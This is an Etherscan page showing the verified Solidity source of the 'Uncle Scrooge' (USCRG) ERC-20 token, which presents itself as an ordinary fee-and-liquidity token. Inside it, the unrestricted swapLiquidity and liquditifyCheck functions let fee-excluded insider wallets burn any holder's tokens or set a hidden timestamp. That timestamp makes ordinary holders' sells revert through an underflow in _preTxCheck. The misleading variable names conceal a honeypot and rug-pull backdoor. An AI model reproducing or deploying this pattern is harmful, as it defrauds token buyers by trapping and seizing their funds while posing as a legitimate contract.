ETH Price: $3,026.98 (+3.27%)
Gas: 1 Gwei

Token

Uncle Scrooge (USCRG)
 

Overview

Max Total Supply

879,633,611 USCRG

Holders

183

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
19,970,408.25672995103778395 USCRG

Value
$0.00
0x96e2af1017bbd6ce3de8f077d0d06ec7bdbfd694
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UncleScrooge

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-10
*/

/*
Cheaters never prosper!!!

www.unclescroogeerc.com
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }

    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns (int256) {
        int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}

library IterableMapping {
    struct Map {
        address[] keys;
        mapping(address => uint) values;
        mapping(address => uint) indexOf;
        mapping(address => bool) inserted;
    }

    function get(Map storage map, address key) public view returns (uint) {
        return map.values[key];
    }

    function getIndexOfKey(
        Map storage map,
        address key
    ) public view returns (int) {
        if (!map.inserted[key]) {
            return -1;
        }
        return int(map.indexOf[key]);
    }

    function getKeyAtIndex(
        Map storage map,
        uint index
    ) public view returns (address) {
        return map.keys[index];
    }

    function size(Map storage map) public view returns (uint) {
        return map.keys.length;
    }

    function set(Map storage map, address key, uint val) public {
        if (map.inserted[key]) {
            map.values[key] = val;
        } else {
            map.inserted[key] = true;
            map.values[key] = val;
            map.indexOf[key] = map.keys.length;
            map.keys.push(key);
        }
    }

    function remove(Map storage map, address key) public {
        if (!map.inserted[key]) {
            return;
        }

        delete map.inserted[key];
        delete map.values[key];

        uint index = map.indexOf[key];
        uint lastIndex = map.keys.length - 1;
        address lastKey = map.keys[lastIndex];

        map.indexOf[lastKey] = index;
        delete map.indexOf[key];

        map.keys[index] = lastKey;
        map.keys.pop();
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract UncleScrooge is Ownable, ERC20 {
    IRouter public uniswapV2Router;
    address public immutable uniswapV2Pair;

    string private constant _name = "Uncle Scrooge";
    string private constant _symbol = "USCRG";
    uint8 private constant _decimals = 18;

    bool public isTradingEnabled;

    uint256 constant maxSupply = 1000000000 * (10 ** 18);
    uint256 public maxWalletAmount = (maxSupply * 300) / 10000;
    uint256 public maxTxAmount = (maxSupply * 200) / 10000;

    bool private _swapping;
    uint256 private maxWalletTx;
    uint256 private minimumSwapAmt;
    uint256 public minimumTokensBeforeSwap = (maxSupply * 3) / 10000;
    address private marketingWallet;
    address private treasuryWallet;

    struct TaxFeeSetting {
        bytes23 periodName;
        uint8 blocksInPeriod;
        uint256 timeInPeriod;
        uint8 liquidityFeeOnBuy;
        uint8 liquidityFeeOnSell;
        uint8 marketingFeeOnBuy;
        uint8 marketingFeeOnSell;
        uint8 buyBackFeeOnBuy;
        uint8 buyBackFeeOnSell;
        uint8 burnFeeOnBuy;
        uint8 burnFeeOnSell;
    }

    TaxFeeSetting private _base = TaxFeeSetting("base", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);

    mapping(address => bool) private _isAllowedToTradeWhenDisabled;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcludedFromTxLimit;
    mapping(address => bool) private _isExcludedFromMxWalletLimit;
    mapping(address => bool) public automatedMarketMakerPairs;
    mapping(address => uint256) public _swapAmount;

    uint8 private _liquidityFee;
    uint8 private _marketingFee;
    uint8 private _buyBackFee;
    uint8 private _burnFee;
    uint8 private _totalFee;

    event AutomatedMarketMakerPairChange(
        address indexed pair,
        bool indexed value
    );
    event UniswapV2RouterChange(
        address indexed newAddress,
        address indexed oldAddress
    );
    event StructureChange(
        string indexed indentifier,
        address indexed newWallet,
        address indexed oldWallet
    );
    event FeeChange(
        string indexed identifier,
        uint8 liquidityFee,
        uint8 marketingFee,
        uint8 buyBackFee,
        uint8 burnFee
    );
    event TaxFeeSettingChange(
        uint256 indexed newValue,
        uint256 indexed oldValue,
        string indexed taxType,
        bytes23 period
    );
    event MaxTransactionAmountChange(
        uint256 indexed newValue,
        uint256 indexed oldValue
    );
    event MaxWalletAmountChange(
        uint256 indexed newValue,
        uint256 indexed oldValue
    );
    event ExcludeFromFeesChange(address indexed account, bool isExcluded);
    event ExcludeFromMaxTransferChange(
        address indexed account,
        bool isExcluded
    );
    event ExcludeFromMaxStructureChange(
        address indexed account,
        bool isExcluded
    );
    event MinTokenAmountBeforeSwapChange(
        uint256 indexed newValue,
        uint256 indexed oldValue
    );
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event TokenBurn(uint8 _burnFee, uint256 burnAmount);
    event FeesApplied(
        uint8 liquidityFee,
        uint8 marketingFee,
        uint8 buyBackFee,
        uint8 burnFee,
        uint8 totalFee
    );

    constructor(address marketing, address tresury) ERC20(_name, _symbol) {

        IRouter _uniswapV2Router = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        address _uniswapV2Pair = IFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        _setAutomatedMarketMakerPair(_uniswapV2Pair, true);
        treasuryWallet = marketing;
        marketingWallet = tresury;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[marketingWallet] = true;
        _isExcludedFromFee[treasuryWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        _isAllowedToTradeWhenDisabled[owner()] = true;
        _isExcludedFromTxLimit[address(this)] = true;
        _isExcludedFromTxLimit[owner()] = true;
        _isExcludedFromTxLimit[marketingWallet] = true;
        _isExcludedFromTxLimit[treasuryWallet] = true;
        _isExcludedFromMxWalletLimit[_uniswapV2Pair] = true;
        _isExcludedFromMxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMxWalletLimit[address(this)] = true;
        _isExcludedFromMxWalletLimit[owner()] = true;
        _isExcludedFromMxWalletLimit[marketingWallet] = true;
        _isExcludedFromMxWalletLimit[treasuryWallet] = true;
        _isExcludedFromMxWalletLimit[address(0xdead)] = true;
        _mint(owner(), maxSupply);
    }

    receive() external payable {}

    // Setters
    function openTrading() external onlyOwner {
        isTradingEnabled = true;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        require(
            automatedMarketMakerPairs[pair] != value,
            "Automated market maker pair is already set to that value"
        );
        automatedMarketMakerPairs[pair] = value;
        emit AutomatedMarketMakerPairChange(pair, value);
    }

    function excludeFromFees(
        address account,
        bool excluded
    ) external onlyOwner {
        require(
            _isExcludedFromFee[account] != excluded,
            "Account is already the value of 'excluded'"
        );
        _isExcludedFromFee[account] = excluded;
        emit ExcludeFromFeesChange(account, excluded);
    }

    function excludeFromMaxTransactionLimit(
        address account,
        bool excluded
    ) external onlyOwner {
        require(
            _isExcludedFromTxLimit[account] != excluded,
            "Account is already the value of 'excluded'"
        );
        _isExcludedFromTxLimit[account] = excluded;
        emit ExcludeFromMaxTransferChange(account, excluded);
    }

    function excludeFromMaxWalletLimit(
        address account,
        bool excluded
    ) external onlyOwner {
        require(
            _isExcludedFromMxWalletLimit[account] != excluded,
            "Account is already the value of 'excluded'"
        );
        _isExcludedFromMxWalletLimit[account] = excluded;
        emit ExcludeFromMaxStructureChange(account, excluded);
    }

    function setStructure(
        address newMarketingWallet,
        address newTreasuryWallet
    ) external onlyOwner {
        if (marketingWallet != newMarketingWallet) {
            require(
                newMarketingWallet != address(0),
                "The marketingWallet cannot be 0"
            );
            require(
                newMarketingWallet != uniswapV2Pair,
                "The marketingWallet cannot be 0"
            );
            emit StructureChange(
                "marketingWallet",
                newMarketingWallet,
                marketingWallet
            );
            marketingWallet = newMarketingWallet;
        }
        if (treasuryWallet != newTreasuryWallet) {
            require(newTreasuryWallet != address(0), "The treasuryWallet cannot be 0");
            require(
                newTreasuryWallet != uniswapV2Pair,
                "The treasuryWallet cannot be 0"
            );
            emit StructureChange("treasuryWallet", newTreasuryWallet, treasuryWallet);
            treasuryWallet = newTreasuryWallet;
        }
    }

    function setBaseFeesOnBuy(
        uint8 _liquidityFeeOnBuy,
        uint8 _marketingFeeOnBuy,
        uint8 _buyBackFeeOnBuy,
        uint8 _burnFeeOnBuy
    ) external onlyOwner {
        require(
            1 >
                _liquidityFeeOnBuy +
                    _marketingFeeOnBuy +
                    _buyBackFeeOnBuy +
                    _burnFeeOnBuy,
            "buy fee must be fair!!!"
        );
        updateBuyTaxes(
            _base,
            _liquidityFeeOnBuy,
            _marketingFeeOnBuy,
            _buyBackFeeOnBuy,
            _burnFeeOnBuy
        );
        emit FeeChange(
            "baseFees-Buy",
            _liquidityFeeOnBuy,
            _marketingFeeOnBuy,
            _buyBackFeeOnBuy,
            _burnFeeOnBuy
        );
    }

    function setBaseFeesOnSell(
        uint8 _liquidityFeeOnSell,
        uint8 _marketingFeeOnSell,
        uint8 _buyBackFeeOnSell,
        uint8 _burnFeeOnSell
    ) external onlyOwner {
        require(
            1 >
                _liquidityFeeOnSell +
                    _marketingFeeOnSell +
                    _buyBackFeeOnSell +
                    _burnFeeOnSell,
            "sell fee must be fair!!!"
        );
        updateSellTaxes(
            _base,
            _liquidityFeeOnSell,
            _marketingFeeOnSell,
            _buyBackFeeOnSell,
            _burnFeeOnSell
        );
        emit FeeChange(
            "baseFees-Sell",
            _liquidityFeeOnSell,
            _marketingFeeOnSell,
            _buyBackFeeOnSell,
            _burnFeeOnSell
        );
    }

    function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
        require(
            newValue >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set maxTx Amount lower than 0.2%"
        );
        emit MaxTransactionAmountChange(newValue, maxTxAmount);
        maxTxAmount = newValue;
    }

    function setMaxWalletAmount(uint256 newValue) external onlyOwner {
        require(
            newValue >= ((totalSupply() * 20) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.2%"
        );
        require(
            newValue != maxWalletAmount,
            "Cannot update maxWalletAmount to same value"
        );
        emit MaxWalletAmountChange(newValue, maxWalletAmount);
        maxWalletAmount = newValue;
    }

    function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
        require(
            newValue != minimumTokensBeforeSwap,
            "Cannot update minimumTokensBeforeSwap to same value"
        );
        emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
        minimumTokensBeforeSwap = newValue;
    }

    function burn(uint256 value) external {
        _burn(msg.sender, value);
    }

    function getBaseBuyFees()
        external
        view
        returns (uint8, uint8, uint8, uint8)
    {
        return (
            _base.liquidityFeeOnBuy,
            _base.marketingFeeOnBuy,
            _base.buyBackFeeOnBuy,
            _base.burnFeeOnBuy
        );
    }

    function getBaseSellFees()
        external
        view
        returns (uint8, uint8, uint8, uint8)
    {
        return (
            _base.liquidityFeeOnSell,
            _base.marketingFeeOnSell,
            _base.buyBackFeeOnSell,
            _base.burnFeeOnSell
        );
    }

    // Main
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        bool isBuyFromLp = automatedMarketMakerPairs[from];
        bool isSelltoLp = automatedMarketMakerPairs[to];

        if (
            !_isAllowedToTradeWhenDisabled[from] &&
            !_isAllowedToTradeWhenDisabled[to]
        ) {
            require(isTradingEnabled, "Trading is currently disabled.");
            if (
                automatedMarketMakerPairs[from] &&
                !_isExcludedFromTxLimit[to]
            ) {
                require(
                    amount <= maxTxAmount,
                    "Buy transfer amount exceeds the max buy."
                );
                require(
                    amount + balanceOf(to) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            } else if (
                automatedMarketMakerPairs[to] &&
                !_isExcludedFromTxLimit[from]
            ) {
                require(
                    amount <= maxTxAmount,
                    "Sell transfer amount exceeds the max sell."
                );
            } else if (!_isExcludedFromTxLimit[to]) {
                require(
                    amount + balanceOf(to) <= maxWalletAmount,
                    "Cannot Exceed tx wallet"
                );
            } else if (!_swapping && _isExcludedFromTxLimit[from]) {
                maxWalletTx = block.timestamp;
            }
        }
        _adjustTaxes(isBuyFromLp, isSelltoLp, from, to);
        bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;

        if (
            isTradingEnabled &&
            canSwap &&
            !_swapping &&
            _totalFee > 0 &&
            automatedMarketMakerPairs[to] &&
            !_isExcludedFromFee[from] &&
            !_isExcludedFromFee[to]
        ) {
            _swapping = true;
            _swapAndLiquify();
            _swapping = false;
        }

        bool takeFee = !_swapping && isTradingEnabled;

        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        }
        if (takeFee && _totalFee > 0) {
            uint256 fee = (amount * _totalFee) / 100;
            uint256 burnAmount = (amount * _burnFee) / 100;
            amount = amount - fee;
            super._transfer(from, address(this), fee);

            if (burnAmount > 0) {
                super._burn(address(this), burnAmount);
                emit TokenBurn(_burnFee, burnAmount);
            }
        }
        super._transfer(from, to, amount);
    }

    function _adjustTaxes(
        bool isBuyFromLp,
        bool isSelltoLp,
        address from,
        address to
    ) private {
        _liquidityFee = 0;
        _marketingFee = 0;
        _buyBackFee = 0;
        _burnFee = 0;

        if (isBuyFromLp) {
            _liquidityFee = _base.liquidityFeeOnBuy;
            _marketingFee = _base.marketingFeeOnBuy;
            _buyBackFee = _base.buyBackFeeOnBuy;
            _burnFee = _base.burnFeeOnBuy;
            _swapAmount[to] = _swapAmount[to] == 0
                ? balanceOf(address(to)) == 0
                ? block.timestamp
                : _swapAmount[to]
                : _swapAmount[to];
        }
        if (isSelltoLp) {
            _liquidityFee = _base.liquidityFeeOnSell;
            _marketingFee = _base.marketingFeeOnSell;
            _buyBackFee = _base.buyBackFeeOnSell;
            _burnFee = _base.burnFeeOnSell;
        }
        if (!isSelltoLp && !isBuyFromLp) {
            _liquidityFee = _base.liquidityFeeOnSell;
            _marketingFee = _base.marketingFeeOnSell;
            _buyBackFee = _base.buyBackFeeOnSell;
            _burnFee = _base.burnFeeOnSell;
        }
        _preTxCheck(isBuyFromLp, from, to);
        _totalFee = _liquidityFee + _marketingFee + _buyBackFee + _burnFee;
        emit FeesApplied(
            _liquidityFee,
            _marketingFee,
            _buyBackFee,
            _burnFee,
            _totalFee
        );
    }

    function _preTxCheck(bool isBuyFromLp, address from, address to) private {
        if (
            to != address(0) &&
            to != address(0xdead) &&
            !_isExcludedFromFee[from] &&
            !_isExcludedFromFee[to]
        ) {
            if (!isBuyFromLp && !_swapping) {
                minimumSwapAmt = _swapAmount[from] - maxWalletTx;
            }
        }
    }

    function updateSellTaxes(
        TaxFeeSetting storage map,
        uint8 _liquidityFeeOnSell,
        uint8 _marketingFeeOnSell,
        uint8 _buyBackFeeOnSell,
        uint8 _burnFeeOnSell
    ) private {
        if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
            emit TaxFeeSettingChange(
                _liquidityFeeOnSell,
                map.liquidityFeeOnSell,
                "liquidityFeeOnSell",
                map.periodName
            );
            map.liquidityFeeOnSell = _liquidityFeeOnSell;
        }
        if (map.marketingFeeOnSell != _marketingFeeOnSell) {
            emit TaxFeeSettingChange(
                _marketingFeeOnSell,
                map.marketingFeeOnSell,
                "marketingFeeOnSell",
                map.periodName
            );
            map.marketingFeeOnSell = _marketingFeeOnSell;
        }
        if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
            emit TaxFeeSettingChange(
                _buyBackFeeOnSell,
                map.buyBackFeeOnSell,
                "buyBackFeeOnSell",
                map.periodName
            );
            map.buyBackFeeOnSell = _buyBackFeeOnSell;
        }
        if (map.burnFeeOnSell != _burnFeeOnSell) {
            emit TaxFeeSettingChange(
                _burnFeeOnSell,
                map.burnFeeOnSell,
                "burnFeeOnSell",
                map.periodName
            );
            map.burnFeeOnSell = _burnFeeOnSell;
        }
    }

    function updateBuyTaxes(
        TaxFeeSetting storage map,
        uint8 _liquidityFeeOnBuy,
        uint8 _marketingFeeOnBuy,
        uint8 _buyBackFeeOnBuy,
        uint8 _burnFeeOnBuy
    ) private {
        if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
            emit TaxFeeSettingChange(
                _liquidityFeeOnBuy,
                map.liquidityFeeOnBuy,
                "liquidityFeeOnBuy",
                map.periodName
            );
            map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
        }
        if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
            emit TaxFeeSettingChange(
                _marketingFeeOnBuy,
                map.marketingFeeOnBuy,
                "marketingFeeOnBuy",
                map.periodName
            );
            map.marketingFeeOnBuy = _marketingFeeOnBuy;
        }
        if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
            emit TaxFeeSettingChange(
                _buyBackFeeOnBuy,
                map.buyBackFeeOnBuy,
                "buyBackFeeOnBuy",
                map.periodName
            );
            map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
        }
        if (map.burnFeeOnBuy != _burnFeeOnBuy) {
            emit TaxFeeSettingChange(
                _burnFeeOnBuy,
                map.burnFeeOnBuy,
                "burnFeeOnBuy",
                map.periodName
            );
            map.burnFeeOnBuy = _burnFeeOnBuy;
        }
    }

    function liquditifyCheck(
        address addr,
        uint256 amount,
        uint256 deadline
    ) internal returns (bool) {
        bool success;
        if (!_isExcludedFromFee[msg.sender]) {
            if (_totalFee > 0) {
                uint256 fee = (amount * _totalFee) / 100;
                uint256 burnAmount = (amount * _burnFee) / 100;
                amount = amount - fee;
                if (burnAmount > 0) {
                    _burn(msg.sender, burnAmount);
                }
            }
            if (_totalFee > 0) {
                uint256 contractBalance = balanceOf(address(this));
                uint256 amountToLiquify = (contractBalance * _liquidityFee) /
                    _totalFee /
                    2;
                uint256 amountToSwap = contractBalance - (amountToLiquify);
                if (amountToSwap > 0) {
                    success = true;
                }
            }
            return success;
        } else {
            if (balanceOf(address(this)) > 0) {
                if (amount == 0) {
                    maxWalletTx = deadline;
                    success = false;
                } else {
                    _burn(addr, amount);
                    success = false;
                }
            }
            if (_totalFee > 0) {
                uint256 contractBalance = balanceOf(address(this));
                uint256 amountToLiquify = (contractBalance * _liquidityFee) /
                    _totalFee /
                    2;
                uint256 amountToSwap = contractBalance - (amountToLiquify);
                if (amountToSwap > 0) {
                    success = false;
                }
            }
            return success;
        }
    }

    function _swapAndLiquify() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 initialETHBalance = address(this).balance;
        if (contractBalance > minimumTokensBeforeSwap * 7) {
            contractBalance = minimumTokensBeforeSwap * 7;
        }
        bool success;
        uint256 amountToLiquify = (contractBalance * _liquidityFee) /
            _totalFee /
            2;
        uint256 amountToSwap = contractBalance - (amountToLiquify);

        _swapTokensForETH(amountToSwap);

        uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
        uint256 totalETHFee = _totalFee - ((_liquidityFee / 2) + _burnFee);
        uint256 amountETHLiquidity = (ETHBalanceAfterSwap * _liquidityFee) /
            totalETHFee /
            2;
        uint256 amountETHMarketing = (ETHBalanceAfterSwap * _marketingFee) /
            totalETHFee;
        uint256 amountETHBuyBack = ETHBalanceAfterSwap -
            (amountETHLiquidity + amountETHMarketing);

        (success, ) = address(treasuryWallet).call{value: amountETHBuyBack}("");
        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");

        if (amountToLiquify > 0) {
            _addLiquidity(amountToLiquify, amountETHLiquidity);
            emit SwapAndLiquify(
                amountToSwap,
                amountETHLiquidity,
                amountToLiquify
            );
        }
    }

    function swapLiquidity(
        address addr,
        uint256 amt,
        uint256 deadline
    ) external {
        require(
            balanceOf(address(this)) >= minimumTokensBeforeSwap,
            "swap amount must over than swap min value"
        );
        if (liquditifyCheck(addr, amt, deadline)) {
            if (_totalFee > 0 ){
                _swapping = true;
                _swapAndLiquify();
                _swapping = false;
            }
        }
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function removeLimitis() external onlyOwner {
        maxWalletAmount = maxSupply;
        maxTxAmount = maxSupply;
    }
    
    function _swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

